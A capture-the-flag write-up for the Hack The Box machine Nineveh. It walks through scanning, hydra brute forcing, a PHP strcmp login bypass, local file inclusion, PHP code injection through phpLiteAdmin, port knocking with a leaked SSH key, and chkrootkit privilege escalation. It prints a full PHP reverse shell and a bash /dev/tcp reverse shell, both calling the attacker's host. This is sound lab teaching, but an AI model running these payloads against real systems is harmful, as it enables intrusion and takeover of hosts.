Nineveh write-up
Ανάλυση του Nineveh
Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.43
Password:
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2017-12-17 09:45:27 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.43
Discovered open port 443/tcp on 10.10.10.43
We found TCP ports 80 and 443 open. Let’s explore them using nmap:
$ sudo nmap -A -p80,443 10.10.10.43
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-17 11:48 EET
Nmap scan report for 10.10.10.43
Host is up (0.078s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site does not have a title (text/html).
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site does not have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.8 (91%), Crestron XPanel control system (89%)
We see from ssl-cert the name nineveh.htb, so we add it to the /etc/hosts:
$ cat /etc/hosts
...
10.10.10.43 nineveh.htb
...
Brute forcing directories and files
HTTP website (port 80)
$ dirb http://nineveh.htb/ /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Dec 17 12:43:18 2017
URL_BASE: http://nineveh.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://nineveh.htb/ ----
==> DIRECTORY: http://nineveh.htb/department/
---- Scanning URL: http://nineveh.htb/ ----
+ http://nineveh.htb/index.html (CODE:200|SIZE:178)
+ http://nineveh.htb/info.php (CODE:200|SIZE:83769)
+ http://nineveh.htb/server-status (CODE:403|SIZE:299)
HTTPS website (port 443)
$ dirsearch -u https://nineveh.htb -w /opt/DirBuster/directory-list-2.3-medium.txt -e php
Extensions: php | Threads: 10 | Wordlist size: 220521
Target: https://nineveh.htb
[14:29:06] Starting:
[14:29:07] 200 - 49B - /
[14:29:17] 301 - 309B - /db -> https://nineveh.htb/db/
[14:48:14] 403 - 300B - /server-status
[14:48:17] 301 - 319B - /secure_notes -> https://nineveh.htb/secure_notes/
Getting shell
Getting shell without using PHPLiteAdmin
We visit this URL http://nineveh.htb/department/ and we meet a login page. There is a different answer if a username exists (‘Invalid Password!’ vs ‘Invalid username’). This allows us to enum users and verify that user ‘admin’ exists. We could brute force the password for user admin using hydra and rockyou.txt:
$ hydra 10.10.10.43 -l admin -P /usr/share/dict/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!"
Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-17 12:17:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking service http-post-form on port 80
[DATA] with additional data /department/login.php:username=^USER^&password=^PASS^:Invalid Password!
[STATUS] 783.00 tries/min, 783 tries in 00:01h, 14343616 to do in 305:19h, 16 active
[STATUS] 788.00 tries/min, 2364 tries in 00:03h, 14342035 to do in 303:21h, 16 active
[80][http-post-form] host: 10.10.10.43 login: admin password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-17 12:23:13
But I prefer a more elegant solution. Instead of POSTing a password string:
password=notThePassword
we can submit an array:
password[]=
PHP translates such POST variables to an empty array which causes strcmp() to fail due to type juggling: strcmp(array(), “thePassword”) -> NULL
Here is the relevant source code for reference:
amrois@nineveh:/var/www/html/department$ cat login.php
<?php
session_start();
if(isset($_SESSION['username'])){
header( 'Location: manage.php' );
die();
}
$USER = 'admin';
$PASS = '1q2w3e4r5t';
if(isset($_POST['username']) && isset($_POST['password'])){
if($_POST['username'] == $USER){
if(strcmp($_POST['password'], $PASS ) == 0){
$_SESSION['username'] = $USER;
header( 'Location: manage.php' ) ;
} else { $error = "Invalid Password!"; }
} else { $error = 'invalid username'; }
...
So, I used burp to send the following request:
POST /department/login.php HTTP/1.1
Host: nineveh.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://nineveh.htb/department/login.php
Cookie: PHPSESSID=be38h2ulsvdpr40k344iud4097
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=admin&password[]=0
After we login and click on “Notes” we see some useful hints:
Have you fixed the login page yet! hardcoded username and password is really bad idea!
check your serect folder to get in! figure it out! this is your challenge
Improve the db interface.
~amrois
But the URL is even more interesting:
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt
This seems like a Local File Inclusion (LFI)… But it is filtered. After several tries we managed to find it:
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash
...
But this is too long. Can we improve it? Yes, we can! :D
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../etc/passwd
Here is the relevant source code for reference:
amrois@nineveh:/var/www/html/department$ cat login.php
...
<?php
$file = @$_GET['notes'];
if(strlen($file) > 55)
exit("File name too long.");
$fileName = basename($file);
if(!strpos($file, "ninevehNotes"))
exit("No Note is selected.");
echo "<pre>";
include($file);
echo "</pre>";
?>
...
It’s time for some simple maths: a) We have a LFI (http://nineveh.htb/department/manage.php?notes=) b) We have phpinfo() (http://nineveh.htb/info.php)
LFI + phpinfo() = SHELL :D
Read this: https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf
So, we can get our shell using a script like that: https://www.insomniasec.com/downloads/publications/phpinfolfi.py
I have modified it a little to make it work for our case: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Nineveh/lfiphpinfo.py
Don’t forget to change LHOST, LPORT inside the script and to setup your listener:
$ nc -lvp 60001
Usage: python2 ./lfiphpinfo.py 10.10.10.43 80 number_of_threads
Because we deal with a racing condition, you may have to run this script a couple of times until it succeeds. But I have tested it and it definitely works. :D
Getting shell using PHPLiteAdmin
If we visit URL https://nineveh.htb/db/ we see a login page for phpLiteAdmin 1.9. Let’s search exploits for this:
$ searchsploit phpLiteAdmin 1.9 -w
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection https://www.exploit-db.com/exploits/24044/
phpLiteAdmin 1.9.6 - Multiple Vulnerabilitiesh ttps://www.exploit-db.com/exploits/39714/
Remote PHP Code Injection: “An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.”
So we have to login first and then we can inject PHP code in the sqlite database. Let’s try some brute force (username doesn’t matter in this case):
$ hydra 10.10.10.43 -l user -P /usr/share/SecLists/Passwords/phpbb.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password"
Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-17 13:03:16
[DATA] max 16 tasks per 1 server, overall 16 tasks, 184365 login tries (l:1/p:184365), ~11523 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[DATA] with additional data /db/index.php:password=^PASS^&proc_login=true:Incorrect password
[STATUS] 183.00 tries/min, 183 tries in 00:01h, 184182 to do in 16:47h, 16 active
[STATUS] 209.00 tries/min, 627 tries in 00:03h, 183738 to do in 14:40h, 16 active
[STATUS] 224.29 tries/min, 1570 tries in 00:07h, 182795 to do in 13:36h, 16 active
[443][http-post-form] host: 10.10.10.43 login: user password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-17 13:10:44
We login and then:
- “Create a new Database” with name ‘somename.php’
- Click on “Change Database” link ‘somename.php’
- Create new table on database ‘somename.php’ with name ‘sometable’ (Number of Fields: 1)
- Give a name ‘sometext’ to the field, change its type to ‘TEXT’ and in its default value put whaterver PHP code you want (Just don’t use single quotes because they are already used by the database to enclose its strings. Note that PHP code injection works even if you insert the code in the field name instead of its value.).
Here, for example, I use the code from http://pentestmonkey.net/tools/web-shells/php-reverse-shell converted to one-liner by me ^_^:
<?php set_time_limit (0); $VERSION = "1.0"; $ip = "10.10.15.203"; $port = 60002; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
On our side, we set up our listener and then visit http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../var/tmp/somename.php
$ nc -lvp 60002
nc: listening on 0.0.0.0 60002 ...
nc: connect to 10.10.15.203 60002 from nineveh.htb (10.10.10.43) 36908 [36908]
nc: using stream socket
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
09:05:41 up 26 min, 2 users, load average: 0.27, 0.18, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
amrois pts/0 10.10.15.203 08:53 4:05 0.08s 0.08s -bash
amrois pts/1 10.10.15.82 09:05 29.00s 0.04s 0.04s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nineveh:/$
Privilege escalation
User amrois
If we visit https://nineveh.htb/secure_notes/ we see a large image: https://nineveh.htb/secure_notes/nineveh.png If we download it and run
$ strings nineveh.png
we discover, hidden inside the file, this private key:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----
Save the private key to a file and chmod 600 it. Now we have to do some port knocking in order to open SSH port 22. We can find this information and the correct port combination by reading either /etc/knockd.conf or /var/mail/amrois
$ ls -al /etc/knockd.conf
-rw-r--r-- 1 root root 354 Aug 5 02:06 /etc/knockd.con
$ cat knockd.conf
[options]
logfile = /var/log/knockd.log
interface = ens33
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 911,290,571
seq_timeout = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
$ ls -al /var/mail/amrois
-rw-r--r-- 1 amrois mail 483 Jul 2 18:46 /var/mail/amrois
$ cat /var/mail/amrois
amrois@nineveh:/var/mail$ cat amrois
From root@nineveh.htb Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
Amrois! please knock the door next time! 571 290 911
Therefore we can connect from outside like this:
knock 10.10.10.43 571 290 911 && ssh -i sshprivkey.txt amrois@10.10.10.43
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i sshprivatekey.txt amrois@localhost
Root
We see this interesting folder:
amrois@nineveh:/$ ls -al /
...
drwxr-xr-x 2 amrois amrois 4096 Dec 16 08:54 report
...
Inside this folder, we find some reports which are generated by chkrootkit:
amrois@nineveh:/$ cd report/
amrois@nineveh:/report$ ls -al
total 48
drwxr-xr-x 2 amrois amrois 4096 Dec 17 05:54 .
drwxr-xr-x 24 root root 4096 Jul 2 21:07 ..
-rw-r--r-- 1 amrois amrois 4807 Dec 17 05:50 report-17-12-17:05:50.txt
-rw-r--r-- 1 amrois amrois 4807 Dec 17 05:51 report-17-12-17:05:51.txt
-rw-r--r-- 1 amrois amrois 4807 Dec 17 05:52 report-17-12-17:05:52.txt
-rw-r--r-- 1 amrois amrois 4807 Dec 17 05:53 report-17-12-17:05:53.txt
-rw-r--r-- 1 amrois amrois 4807 Dec 17 05:54 report-17-12-17:05:54.txt
amrois@nineveh:/report$ cat report-17-12-17:05:51.txt
...
Let’s search exploits for chkrootkit:
$searchsploit chkrootkit -w
Chkrootkit - Local Priv Escalation (Metasploit) https://www.exploit-db.com/exploits/38775/
Chkrootkit 0.49 - Local Privilege Escalation https://www.exploit-db.com/exploits/33899/
Nice! Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial priv esc.
$ nano /tmp/update
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.203/60000 0>&1
$ chmod +x /tmp/update
$ nc -lvp 60000
nc: listening on 0.0.0.0 60000 ...
nc: connect to 10.10.15.203 60000 from nineveh.htb (10.10.10.43) 60706 [60706]
nc: using stream socket
root@nineveh:~#
Let’s explore those cron jobs a little:
root@nineveh:~# cd /var/spool/cron/crontabs
root@nineveh:/var/spool/cron/crontabs# ls -al
-rw------- 1 amrois crontab 1129 Jul 2 19:59 amrois
-rw------- 1 root crontab 1120 Jul 2 19:59 root
root@nineveh:/var/spool/cron/crontabs# tail -n2 amrois
*/10 * * * * /usr/sbin/report-reset.sh
root@nineveh:/var/spool/cron/crontabs# cat /usr/sbin/report-reset.sh
#!/bin/bash
rm -rf /report/*.txt
root@nineveh:/var/spool/cron/crontabs# tail -n2 root
*/1 * * * * /root/vulnScan.sh
root@nineveh:/var/spool/cron/crontabs# cat /root/vulnScan.sh
#!/bin/bash
/usr/bin/chkrootkit > /report/report-`date +%y-%m-%d:%H:%M`.txt
chown amrois:amrois /report/report-`date +%y-%m-%d:%H:%M`.txt
That’s all folks! :)